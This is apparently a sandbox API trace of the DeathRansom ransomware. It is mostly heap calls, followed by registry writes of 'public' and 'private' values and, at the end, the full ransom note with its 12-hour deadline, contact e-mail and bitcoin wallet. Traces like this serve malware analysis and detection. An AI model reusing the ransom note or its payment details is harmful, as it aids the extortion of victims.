GetProcessHeap () returned 0x540000 [0063.619] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.619] GetProcessHeap () returned 0x540000 [0063.619] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.619] GetProcessHeap () returned 0x540000 [0063.619] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bc20 [0063.619] GetProcessHeap () returned 0x540000 [0063.619] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.619] GetProcessHeap () returned 0x540000 [0063.619] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.619] GetProcessHeap () returned 0x540000 [0063.619] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bc20 | out: hHeap=0x540000) returned 1 [0063.619] GetProcessHeap () returned 0x540000 [0063.619] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.619] GetProcessHeap () returned 0x540000 [0063.619] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.619] GetProcessHeap () returned 0x540000 [0063.619] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.619] GetProcessHeap () returned 0x540000 [0063.619] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.619] GetProcessHeap () returned 0x540000 [0063.619] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bc20 [0063.619] GetProcessHeap () returned 0x540000 [0063.619] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.619] GetProcessHeap () returned 0x540000 [0063.619] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.619] GetProcessHeap () returned 0x540000 [0063.620] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bc20 | out: hHeap=0x540000) returned 1 [0063.620] GetProcessHeap () returned 0x540000 [0063.620] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.620] GetProcessHeap () returned 0x540000 [0063.620] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.620] GetProcessHeap () returned 0x540000 [0063.620] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.620] GetProcessHeap () returned 0x540000 [0063.620] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.620] GetProcessHeap () returned 0x540000 [0063.620] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bc20 [0063.620] GetProcessHeap () returned 0x540000 [0063.620] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.620] GetProcessHeap () returned 0x540000 [0063.620] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.620] GetProcessHeap () returned 0x540000 [0063.620] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bc20 | out: hHeap=0x540000) returned 1 [0063.620] GetProcessHeap () returned 0x540000 [0063.620] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bc20 [0063.620] GetProcessHeap () returned 0x540000 [0063.620] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.620] GetProcessHeap () returned 0x540000 [0063.620] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.620] GetProcessHeap () returned 0x540000 [0063.620] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bc20 | out: hHeap=0x540000) returned 1 [0063.620] GetProcessHeap () returned 0x540000 [0063.620] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.620] GetProcessHeap () returned 0x540000 [0063.620] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.620] GetProcessHeap () returned 0x540000 [0063.620] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.620] GetProcessHeap () returned 0x540000 [0063.620] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.620] GetProcessHeap () returned 0x540000 [0063.620] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bc20 [0063.621] GetProcessHeap () returned 0x540000 [0063.621] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.621] GetProcessHeap () returned 0x540000 [0063.621] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.621] GetProcessHeap () returned 0x540000 [0063.621] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bc20 | out: hHeap=0x540000) returned 1 [0063.621] GetProcessHeap () returned 0x540000 [0063.621] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bc20 [0063.621] GetProcessHeap () returned 0x540000 [0063.621] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.621] GetProcessHeap () returned 0x540000 [0063.621] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.621] GetProcessHeap () returned 0x540000 [0063.621] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bc20 | out: hHeap=0x540000) returned 1 [0063.621] GetProcessHeap () returned 0x540000 [0063.621] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.621] GetProcessHeap () returned 0x540000 [0063.621] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.621] GetProcessHeap () returned 0x540000 [0063.621] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.621] GetProcessHeap () returned 0x540000 [0063.621] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.621] GetProcessHeap () returned 0x540000 [0063.621] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.621] GetProcessHeap () returned 0x540000 [0063.621] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.621] GetProcessHeap () returned 0x540000 [0063.621] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.621] GetProcessHeap () returned 0x540000 [0063.621] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.621] GetProcessHeap () returned 0x540000 [0063.621] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bc20 [0063.621] GetProcessHeap () returned 0x540000 [0063.621] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.622] GetProcessHeap () returned 0x540000 [0063.622] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.622] GetProcessHeap () returned 0x540000 [0063.622] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bc20 | out: hHeap=0x540000) returned 1 [0063.622] GetProcessHeap () returned 0x540000 [0063.622] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bc20 [0063.622] GetProcessHeap () returned 0x540000 [0063.622] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.622] GetProcessHeap () returned 0x540000 [0063.622] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.622] GetProcessHeap () returned 0x540000 [0063.622] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bc20 | out: hHeap=0x540000) returned 1 [0063.622] GetProcessHeap () returned 0x540000 [0063.622] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.622] GetProcessHeap () returned 0x540000 [0063.622] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.622] GetProcessHeap () returned 0x540000 [0063.622] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bc20 [0063.622] GetProcessHeap () returned 0x540000 [0063.622] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.622] GetProcessHeap () returned 0x540000 [0063.622] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.622] GetProcessHeap () returned 0x540000 [0063.622] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bc20 | out: hHeap=0x540000) returned 1 [0063.622] GetProcessHeap () returned 0x540000 [0063.622] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.622] GetProcessHeap () returned 0x540000 [0063.622] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.622] GetProcessHeap () returned 0x540000 [0063.622] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bc20 [0063.622] GetProcessHeap () returned 0x540000 [0063.622] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.622] GetProcessHeap () returned 0x540000 [0063.622] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.623] GetProcessHeap () returned 0x540000 [0063.623] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bc20 | out: hHeap=0x540000) returned 1 [0063.623] GetProcessHeap () returned 0x540000 [0063.623] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bc20 [0063.623] GetProcessHeap () returned 0x540000 [0063.623] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.623] GetProcessHeap () returned 0x540000 [0063.623] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.623] GetProcessHeap () returned 0x540000 [0063.623] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bc20 | out: hHeap=0x540000) returned 1 [0063.623] GetProcessHeap () returned 0x540000 [0063.623] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.623] GetProcessHeap () returned 0x540000 [0063.623] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.623] GetProcessHeap () returned 0x540000 [0063.623] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.623] GetProcessHeap () returned 0x540000 [0063.623] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.623] GetProcessHeap () returned 0x540000 [0063.623] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bc20 [0063.623] GetProcessHeap () returned 0x540000 [0063.623] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.623] GetProcessHeap () returned 0x540000 [0063.623] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.623] GetProcessHeap () returned 0x540000 [0063.624] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bc20 | out: hHeap=0x540000) returned 1 [0063.624] GetProcessHeap () returned 0x540000 [0063.624] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bc20 [0063.624] GetProcessHeap () returned 0x540000 [0063.624] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.624] GetProcessHeap () returned 0x540000 [0063.624] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.624] GetProcessHeap () returned 0x540000 [0063.624] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bc20 | out: hHeap=0x540000) returned 1 [0063.624] GetProcessHeap () returned 0x540000 [0063.624] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bc20 [0063.624] GetProcessHeap () returned 0x540000 [0063.624] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.624] GetProcessHeap () returned 0x540000 [0063.624] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.624] GetProcessHeap () returned 0x540000 [0063.624] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bc20 | out: hHeap=0x540000) returned 1 [0063.624] GetProcessHeap () returned 0x540000 [0063.624] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bc20 [0063.624] GetProcessHeap () returned 0x540000 [0063.624] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.624] GetProcessHeap () returned 0x540000 [0063.624] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.624] GetProcessHeap () returned 0x540000 [0063.624] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bc20 | out: hHeap=0x540000) returned 1 [0063.624] GetProcessHeap () returned 0x540000 [0063.624] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bc20 [0063.624] GetProcessHeap () returned 0x540000 [0063.624] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.624] GetProcessHeap () returned 0x540000 [0063.624] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.624] GetProcessHeap () returned 0x540000 [0063.624] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bc20 | out: hHeap=0x540000) returned 1 [0063.624] GetProcessHeap () returned 0x540000 [0063.624] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.625] GetProcessHeap () returned 0x540000 [0063.625] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.625] GetProcessHeap () returned 0x540000 [0063.625] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.625] GetProcessHeap () returned 0x540000 [0063.625] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.625] GetProcessHeap () returned 0x540000 [0063.625] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bc20 [0063.625] GetProcessHeap () returned 0x540000 [0063.625] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.625] GetProcessHeap () returned 0x540000 [0063.625] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.625] GetProcessHeap () returned 0x540000 [0063.625] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bc20 | out: hHeap=0x540000) returned 1 [0063.625] GetProcessHeap () returned 0x540000 [0063.625] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.625] GetProcessHeap () returned 0x540000 [0063.625] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.625] GetProcessHeap () returned 0x540000 [0063.625] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.625] GetProcessHeap () returned 0x540000 [0063.625] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.625] GetProcessHeap () returned 0x540000 [0063.625] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.625] GetProcessHeap () returned 0x540000 [0063.625] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.625] GetProcessHeap () returned 0x540000 [0063.625] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bc20 [0063.625] GetProcessHeap () returned 0x540000 [0063.625] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.625] GetProcessHeap () returned 0x540000 [0063.625] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.625] GetProcessHeap () returned 0x540000 [0063.625] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bc20 | out: hHeap=0x540000) returned 1 [0063.626] GetProcessHeap () returned 0x540000 [0063.626] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.626] GetProcessHeap () returned 0x540000 [0063.626] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.626] GetProcessHeap () returned 0x540000 [0063.626] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.626] GetProcessHeap () returned 0x540000 [0063.626] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.626] GetProcessHeap () returned 0x540000 [0063.626] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.626] GetProcessHeap () returned 0x540000 [0063.626] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.626] GetProcessHeap () returned 0x540000 [0063.626] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.626] GetProcessHeap () returned 0x540000 [0063.626] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.626] GetProcessHeap () returned 0x540000 [0063.626] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bc20 [0063.626] GetProcessHeap () returned 0x540000 [0063.626] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.626] GetProcessHeap () returned 0x540000 [0063.626] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.626] GetProcessHeap () returned 0x540000 [0063.626] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bc20 | out: hHeap=0x540000) returned 1 [0063.626] GetProcessHeap () returned 0x540000 [0063.626] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.626] GetProcessHeap () returned 0x540000 [0063.626] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.715] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x3264658, Size=0x80) returned 0x5a1dd8 [0063.715] GetProcessHeap () returned 0x540000 [0063.715] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bd38 | out: hHeap=0x540000) returned 1 [0063.715] GetProcessHeap () returned 0x540000 [0063.715] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bc20 | out: hHeap=0x540000) returned 1 [0063.715] GetProcessHeap () returned 0x540000 [0063.715] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5ad850 | out: hHeap=0x540000) returned 1 [0063.715] GetProcessHeap () returned 0x540000 [0063.715] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x3264658 [0063.715] GetProcessHeap () returned 0x540000 [0063.715] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x3264658, Size=0x80) returned 0x5a1e60 [0063.715] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x3264668, Size=0x100) returned 0x32f6f20 [0063.715] GetProcessHeap () returned 0x540000 [0063.715] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x3264668 [0063.715] GetProcessHeap () returned 0x540000 [0063.715] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x3264668, Size=0x100) returned 0x32f7028 [0063.715] GetProcessHeap () returned 0x540000 [0063.715] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x100) returned 0x32f7130 [0063.715] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x32f7130, Size=0x104) returned 0x329bc20 [0063.715] GetProcessHeap () returned 0x540000 [0063.715] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x32646b8, Size=0x8) returned 0x32646c8 [0063.715] GetProcessHeap () returned 0x540000 [0063.715] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x32646c8, Size=0x104) returned 0x329bd38 [0063.715] GetProcessHeap () returned 0x540000 [0063.715] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x3264618, Size=0x8) returned 0x32646c8 [0063.715] GetProcessHeap () returned 0x540000 [0063.715] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x3264608, Size=0x8) returned 0x3264618 [0063.715] GetProcessHeap () returned 0x540000 [0063.715] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x3264608 [0063.716] GetProcessHeap () returned 0x540000 [0063.716] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x32646b8 [0063.716] GetProcessHeap () returned 0x540000 [0063.716] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x3264668 [0063.716] GetProcessHeap () returned 0x540000 [0063.716] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3264668 | out: hHeap=0x540000) returned 1 [0063.716] GetProcessHeap () returned 0x540000 [0063.716] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3264618 | out: hHeap=0x540000) returned 1 [0063.716] GetProcessHeap () returned 0x540000 [0063.716] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3264608 | out: hHeap=0x540000) returned 1 [0063.716] GetProcessHeap () returned 0x540000 [0063.716] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x3264608 [0063.716] GetProcessHeap () returned 0x540000 [0063.716] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x3264608, Size=0x100) returned 0x32f7130 [0063.716] GetProcessHeap () returned 0x540000 [0063.716] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x100) returned 0x32f6f20 [0063.716] GetProcessHeap () returned 0x540000 [0063.716] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f7238 [0063.716] GetProcessHeap () returned 0x540000 [0063.716] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f7238 | out: hHeap=0x540000) returned 1 [0063.716] GetProcessHeap () returned 0x540000 [0063.716] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bc20 | out: hHeap=0x540000) returned 1 [0063.716] GetProcessHeap () returned 0x540000 [0063.716] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f7130 | out: hHeap=0x540000) returned 1 [0063.716] GetProcessHeap () returned 0x540000 [0063.716] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f7028 | out: hHeap=0x540000) returned 1 [0063.716] GetProcessHeap () returned 0x540000 [0063.716] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3264678 | out: hHeap=0x540000) returned 1 [0063.716] GetProcessHeap () returned 0x540000 [0063.716] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32646b8 | out: hHeap=0x540000) returned 1 [0063.716] GetProcessHeap () returned 0x540000 [0063.716] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32646c8 | out: hHeap=0x540000) returned 1 [0063.716] GetProcessHeap () returned 0x540000 [0063.716] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3264698 | out: hHeap=0x540000) returned 1 [0063.716] GetProcessHeap () returned 0x540000 [0063.716] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6f20 | out: hHeap=0x540000) returned 1 [0063.717] GetProcessHeap () returned 0x540000 [0063.717] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3264658 | out: hHeap=0x540000) returned 1 [0063.717] GetProcessHeap () returned 0x540000 [0063.717] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32646a8 | out: hHeap=0x540000) returned 1 [0063.717] GetProcessHeap () returned 0x540000 [0063.717] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x3264638, Size=0x100) returned 0x32f6f20 [0063.717] GetProcessHeap () returned 0x540000 [0063.717] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.717] GetProcessHeap () returned 0x540000 [0063.717] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.717] GetProcessHeap () returned 0x540000 [0063.717] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.717] GetProcessHeap () returned 0x540000 [0063.717] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3264628 | out: hHeap=0x540000) returned 1 [0063.717] GetProcessHeap () returned 0x540000 [0063.717] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1118 | out: hHeap=0x540000) returned 1 [0063.717] GetProcessHeap () returned 0x540000 [0063.717] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1e60 | out: hHeap=0x540000) returned 1 [0063.717] RegSetValueExA (in: hKey=0x610, lpValueName="public", Reserved=0x0, dwType=0x3, lpData=0x40f068*, cbData=0x100 | out: lpData=0x40f068*) returned 0x0 [0063.718] SystemFunction036 (in: RandomBuffer=0x17f758, RandomBufferLength=0x20 | out: RandomBuffer=0x17f758) returned 1 [0063.724] GetProcessHeap () returned 0x540000 [0063.724] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x220) returned 0x32a9e00 [0063.725] RegSetValueExA (in: hKey=0x610, lpValueName="private", Reserved=0x0, dwType=0x3, lpData=0x32a9e00*, cbData=0x220 | out: lpData=0x32a9e00*) returned 0x0 [0063.734] GetProcessHeap () returned 0x540000 [0063.734] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x2d9) returned 0x57dd70 [0063.734] lstrlenA (lpString="?????????????????????????\r\n??????DEATHRansom ???????\r\n?????????????????????????\r\nHello dear friend,\r\nYour files were encrypted!\r\nYou have only 12 hours to decrypt it\r\nIn case of no answer our team will delete your decryption password\r\nWrite back to our e-mail: deathransom@airmail.cc\r\n \r\n \r\nIn your message you have to write:\r\n1. YOU LOCK-ID: %s\r\n2. Time when you have paid 0.1 btc to this bitcoin wallet:\r\n1J9CG9KtJZVx1dHsVcSu8cxMTbLsqeXM5N\r\n \r\n \r\nAfter payment our team will decrypt your files immediatly\r\n \r\n \r\nFree decryption as guarantee:\r\n1. File must be less than 1MB\r\n2. Only .txt or .lnk files, no databases\r\n3. Only 1 files\r\n \r\n \r\nHow to obtain bitcoin:\r\nThe easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/") returned 989 [0063.734] GetProcessHeap () returned 0x540000 [0063.734] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x6b7) returned 0x573e58 